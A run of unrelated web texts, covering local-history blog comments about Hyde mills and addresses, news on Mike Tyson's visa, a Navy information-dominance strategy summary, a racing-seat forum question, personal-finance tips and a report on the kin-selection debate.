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As far as the 1901 census is concerned, Gregory Street in Newton used to run off Ashton Road up the side of Hyde Mill.
- Monday, 20 February, 2012
I've been trying to come up with something here with the Hyde and Dukinfield addresses but haven't really come up with anything. As I said before Gregory Street was at the side of Hyde Mill and if the house numbering is similar now to what it was in those years then 138 Ashton Road would have been on the right-hand side (coming from Hyde) just before Gregory Street. Birch Lane is a continuation of Ashton Road and number 279 should have been somewhere round about where Dewsnap Lane now is. Where Stafford's Buildings was I've not been able to find out. The other 3 addresses, though, are quite close to Hyde Mill but unfortunately Hyde Mill wasn't built till 1906 so Mary Sheldon couldn't have worked there at the times she lived at those addresses. I have a booklet entitled Hyde Cotton Mills and if you've got this Tom, perhaps you can scan the location plan facing page 1 and display it on the blog - it may be of some help to Dave Sheldon. If you've not got the booklet let me know and I'll scan it and send it to you.
- Monday, 20 February, 2012
- Tom said...
Cheers Dave.. I've not had time to do much today... teacher training day today.. so we had all the grandchild this morning... thanks for the time you have spent on this.. I'll email you as I haven't got the booklet you mention..
- Monday, 20 February, 2012
Thanks for your time spent on this.I have done some more research. Newton Buildings are located on the 1911 Cencus between Smith Street and Ashton Road. Also a friend has lent me a copy of Hyde Cotton Mills. The book indicates that there were 4 cotton mills active in the area north of Hyde between 1870 and 1920. These were Johsonbrook Mill(was located just north of where Hyde mill is) , Newton Moor Mills , Bayleyfield Mill and Carrfield mill.
- Sunday, 26 February, 2012
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Cheers Dave for updating us.. I hope more turns up in the future.
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Reeling from a near-fatal accident, journalist Maryam Henein looked to natural medicine for healing. The process of investigating treatments led her to refocus her work on covering urgent environmental issues. That led to researching bees, where Henein found inspiration.
Concerned about dwindling bee populations, Henein and co-director George Langworthy undertook a five-year labor of love to educate the public about the harmful impact of pesticides on bees. The result is their award-winning documentary Vanishing of the Bees, which explains the crucial role of bees in the ecosystem, the danger of colony collapse disorder, and what we can do about it.
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Former heavyweight boxing champion Mike Tyson has been granted a visa to enter Australia for a series of motivational talks next month, organisers said on Wednesday.
"We are thrilled and are very grateful to the Australian government for granting Mike Tyson a visa and allowing him to visit Australia for the very first time" Max Markson, CEO of tour promoter Markson Sparks said in a statement.
Tyson's speaking engagements in Australia were supposed to include a similar visit to New Zealand, though his visa was revoked by the country's Associate Immigration Minister Kate Wilkinson after it had been approved.
Tyson, who served three years of a six-year U.S. jail sentence for rape, needed dispensation under New Zealand immigration laws because of his conviction.
However, a youth-related charity trust which originally backed his visit to appear at the Auckland event, billed as "Day of the Champions", said it no longer wanted to have anything to do with Tyson's visit due to his conviction.
Tyson's promoters applied for a new visa for New Zealand after a second community group said it would support his application in exchange for him talking to at-risk youth.
"We hope we will also receive good news about Tyson's visit to New Zealand and are now patiently waiting on their response," Markson added on Wednesday.
Tyson, 46, was undisputed world heavyweight boxing champion in the 1980s but he was convicted in 1992 of raping teenage beauty queen Desiree Washington and served three years in prison.
He added to his notoriety when he bit rival Evander Holyfield on both ears in a 1997 bout, for which he was disqualified and temporarily suspended from boxing.
Tyson declared bankruptcy in 2003 and retired from professional boxing three years later.
Last month, Tyson spoke to a financiers' conference in Hong Kong about his life before and after boxing, his family and his acting career, which includes a recent one-man show on Broadway.


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Navy Strategy for Achieving Information Dominance 2013-2017: Optimizing Navy's Primacy in the Maritime and Information Domains.
Cosigned by Vice Admiral Card (Deputy Chief of Naval Operations for Information Dominance) and Vice Admiral Rogers (Commander Fleet Cyber Command; Commander Tenth Fleet) this strategy document lays out the Navy Strategy for Achieving Information Dominance.
First and foremost Information Dominance is defined as the operational advantage gained from fully integrating the Navy's information functions, capabilities and resources to optimize decision making and maximize warfighting effects (cyber warfare).
The strategy focuses on the three fundamental Information Dominance capabilities of Assured Command and Control, Battlespace Awareness, and Integrated Fires, and sets forth the following major goals for the 2013–2017 timeframe:
- Strong and Secure Navy Command and Control;
- Assure communications paths through dynamic networking
- Manage and assure electromagnetic spectrum operation
- Build a resilient and assured C2 infrastructure that supports naval forces worldwide
- Persistent, Predictive Battlespace Awareness;
- Understand, forecast and exploit the physical maritime environment
- Manage sensor employment against prioritized intelligence requirements
- Know the adversary
- Integrate and leverage National, Joint and Coalition intelligence
- Integrated Combat Information;
- Assure C2 in all levels of conflict
- Incorporate Information Dominance-related capabilities into operational plans
- Integrate all-source information across kill chains
- Integrated Kinetic and Non-kinetic Fires;
- Advance electromagnetic capabilities
- Integrate Cyberspace operations (cyber warfare) with Fleet operations
- Information Dominance as a Warfighting Discipline.
- Incorporate Information Dominance into Navy warfighting doctrine and tactics
- Integrate Information Dominance tenets into Fleet operations
- Develop, manage, train and fully integrate the Information Dominance Corps (IDC)
In support of this Navy Strategy for Achieving Information Dominance, the related supporting documents include: the Navy Information Dominance Roadmap, 2013-2028; the Navy IDC Human Capital Strategy, 2012-2017; Navy Cyber Power 2020; the Naval Intelligence Strategy, 2013-2020; and, the 2013 Navy Space Strategy. Within this integrated framework, the Navy begins in earnest the process of marshaling its resources, galvanizing the workforce, and aligning Navy's Information Dominance capabilities to fully enable the Navy's primary tenet of Warfighting First.
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My son's Racetech 4009WHR Head restraint fiberglass composite seat has an expired date, and will be replaced. Its a nice seat with only a few miles. I'm wondering if anyone has modified (widen) a seat for better fit. My personal use would be for a track toy, zero competition, hence dated code means little. I have decades of composite experience, and feel the actual modifications to be of minor concern. I also fully understand its my butt I am protecting. I expect the changes to be minor enough the cover can be re used. Anyone done this and have any pointers to offer. I am not interested in paying anyone else to do this work.
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5 Money Mistakes Smart People Make
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Everyone has at least one frugal friend who always crows about how much money he saves by clipping coupons or frequenting discount stores. And while this friend's behavior/bragging is a great reminder of how you should be more financially savvy — especially when the U.S. economy isn't in the best shape — he may overlook some simple savings strategies that you've already figured out.
Even the smartest saver can make mistakes, and Bankrate.com published a list of those easy to miss but, oh-so-simple savings strategies that everyone should mind.
Mistake No.1: Minding the pennies and missing dollars
Driving across town to use a 50-cent coupon, or to shop at an outlet store isn't saving you as much dough as you think. In fact, you may have spent more in gas just to get to that tucked-away discount store. Bankrate.com advises that you focus on your long-term financial goals, while you save on the small items. For example, if you find that you saved $7 with coupons, walk over to your ATM and deposit that $7 into a savings account, instead of spending it on something else.
Mistake No.2: Being confused by credit reports
Not knowing your credit score, especially if it's poor, can cost you more money if you want to buy a car or rent a home. Scour your credit report for any outstanding balances or inconsistencies. Even if you know your credit score, you should request a copy of your report every year before you make a major purchase.
Mistake No.3: Letting budgeting get you down
Budgeting becomes a drag when you find yourself staying in more or buying less fun things to save money. But, keep in mind that most people don't like to save. Prior to the economy's trouble, the U.S. savings rate was less than 1 percent, according to the U.S. Commerce Department. Apparently, more Americans found it more fun to spend rather than save. In order to make spending feel less like a chore, identify three areas where spend too much and try to deduct the amount you spend on each.
Mistake No.4: Letting your money leak away
Money leaks are those little ways you spend money without even thinking about it, such as the $20 you hand your kid when he asks for it, or your daily latte. Try to keep track of all these money leaks by logging them into a journal. At the end of the week, you will see just how much money coming out of your account, and where you need to plug the leak.
Mistake No.5: Being out of touch
Try to stay up-to-date on family finances. If one spouse is in control of taxes, bills and investments, etc., make sure you're knowledgeable about where key financial documents are and how much is being spent and when. If you don't, you could be in for a rude awakening.


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Why are worker ants sterile? Why do birds sometimes help their parents raise more chicks, instead of having chicks of their own? Why do bacteria explode with toxins to kill rival colonies? In 1964, the British biologist William Hamilton published a landmark paper to answer these kinds of questions. Sometimes, he argued, helping your relatives can spread your genes faster than having children of your own.
For the past 46 years, biologists have used Dr. Hamilton's theory to make sense of how animal societies evolve. They've even applied it to the evolution of our own species. But in the latest issue of the journal Nature, a team of prominent evolutionary biologists at Harvard try to demolish the theory.
The scientists argue that studies on animals since Dr. Hamilton's day have failed to support it. The scientists write that a close look at the underlying math reveals that Dr. Hamilton's theory is superfluous. "It's precisely like an ancient epicycle in the solar system," said Martin Nowak, a co-author of the paper with Edward O. Wilson and Corina Tarnita. "The world is much simpler without it."
Other biologists are sharply divided about the paper. Some praise it for challenging a concept that has outlived its usefulness. But others dismiss it as fundamentally wrong.
"Things are just bouncing around right now like a box full of Ping-Pong balls," said James Hunt, a biologist at North Carolina State University.Continue reading the main story
Dr. Hamilton, who died in 2000, saw his theory as following logically from what biologists already knew about natural selection. Some individuals have more offspring than others, thanks to the particular versions of genes they carry. But Dr. Hamilton argued that in order to judge the reproductive success of an individual, scientists had to look at the genes it shared with its relatives.
We inherit half of our genetic material from each parent, which means that siblings have, on average, 50 percent of the same versions of genes. We share a lower percentage with first cousins, second cousins and so on. If we give enough help to relatives so they can survive and have children, then they can pass on more copies of our own genes. Dr. Hamilton called this new way of tallying reproductive success inclusive fitness.
Each organism faces a trade-off between putting effort into raising its own offspring or helping its relatives. If the benefits of helping a relative outweigh the costs, Dr. Hamilton argued, altruism can evolve.
Dr. Hamilton believed that one of the things his theory could explain was the presence of sterile females among ants, wasps, and some other social insects. These species have peculiar genetics that cause females to be more closely related to their sisters than to their brothers, or even to their own offspring. In these situations, a female ant may be able to spread more genes by helping to raise her queen mother's eggs than trying to lay eggs of her own.
But as the years passed, Dr. Wilson's enthusiasm for the theory waned. "It was getting tattered," he said. Many species with sterile females, for example, do not have the strange genetics of ants and wasps. And many species with the right genetics have not produced sterile females.
After reading a 2008 article in which Dr. Wilson aired his misgivings, Dr. Nowak got in touch with him. Dr. Nowak and Dr. Tarnita were studying the mathematical underpinnings of evolution. They wanted to carry out a mathematical analysis of natural selection in general and inclusive fitness in particular. Dr. Wilson joined them.
The scientists developed equations that described two different behaviors in a population. One strategy might be selfish and the other altruistic — leaving their nest after they hatch versus staying to help rear young, for example. The scientists then calculated the conditions in which one strategy or the other takes over the whole population.
The researchers found that inclusive fitness theory worked only under special conditions. All the effects that the animals had on each other had to take place on a one-to-one basis. In the real world, individuals may benefit from many other individuals as a group.
Standard natural selection, the scientists argue, explains everything inclusive fitness theory was supposed to, without these special conditions.
Dr. Nowak and his colleagues argue that their analysis should free scientists to think of other ways that altruism and other kinds of social behavior might evolve.
Thinking about why a worker would sacrifice her own offspring turns out be the wrong perspective on the question, they argue. Instead, they say, we should put ourselves in the queen's perspective. They offer a mathematical model suggesting how natural selection could produce offspring that stay at a queen's nest. If she produces daughters that stay in the nest, she can spend more time laying eggs, rather than hunting for food to feed her young.
"I think they've done a very thorough job," said Michael Doebeli of the University of British Columbia. He has also grown skeptical about the importance many colleagues have put on inclusive fitness in recent years. "The people who swear by this method somehow think there's something magic about it that explains everything," he said.
Dr. Hunt, who studies social wasps, does not find Dr. Hamilton's ideas useful because it is nearly impossible to calculate the costs and benefits of helping relatives.
"I have never felt that inclusive fitness has contributed to an understanding of what's going on," he said. The Harvard team, Dr. Hunt said, is "basically on target."
A number of scientists strongly disagree, though. "This paper, far from showing shortcomings in inclusive fitness theory, shows the shortcomings of the authors," said Frances Ratnieks of the University of Sussex.
Dr. Ratnieks argues that the Harvard researchers cannot rule out kinship as a driving force in social evolution because their model is flawed. It does not include how closely related animals are.
It would be as if a team of researchers carried out a study on the effects of diet and exercise on health. Their subjects get different amounts of exercise but stay on the same diet. In the end, the experiment might show that exercise makes people more healthy. But it would not make any sense to also conclude that diet plays no role.
"If you don't vary something you cannot say how important it is," said Dr. Ratnieks.
Andy Gardner, an evolutionary biologist at Oxford, said bluntly, "This is a really terrible article." One problem Dr. Gardner points to is the Harvard team's claim that the past 40 years of research on inclusive fitness has yielded nothing but "hypothetical explanations."
"This claim is just patently wrong," Dr. Gardner said. He points to the question of how many sons and daughters mothers produce among the many insights inclusive fitness has brought.
In most species, the balance is 50-50. But there are exceptions. In some ant species, for example, the ratio is around three daughters for every son. That is because the sterile female workers invest more into female larvae than males. Inclusive fitness theory predicts just this situation, since the workers are more closely related to their sisters than to their brothers.
Dr. Gardner and a number of other biologists have co-authored a reply that they will be sending to Nature to challenge the new paper.
Dr. Hunt hopes to move the debate toward a resolution with a meeting he is to run in October at the National Evolutionary Synthesis Center in Durham, N.C. He will be bringing together scientists who build models of all the potential factors that drive the evolution of societies, from their kinship to their ecology. Ultimately, the scientists hope to build a model that can take into account all of these factors at once. "They're all stoked, and I am too," Dr. Hunt said.Continue reading the main story


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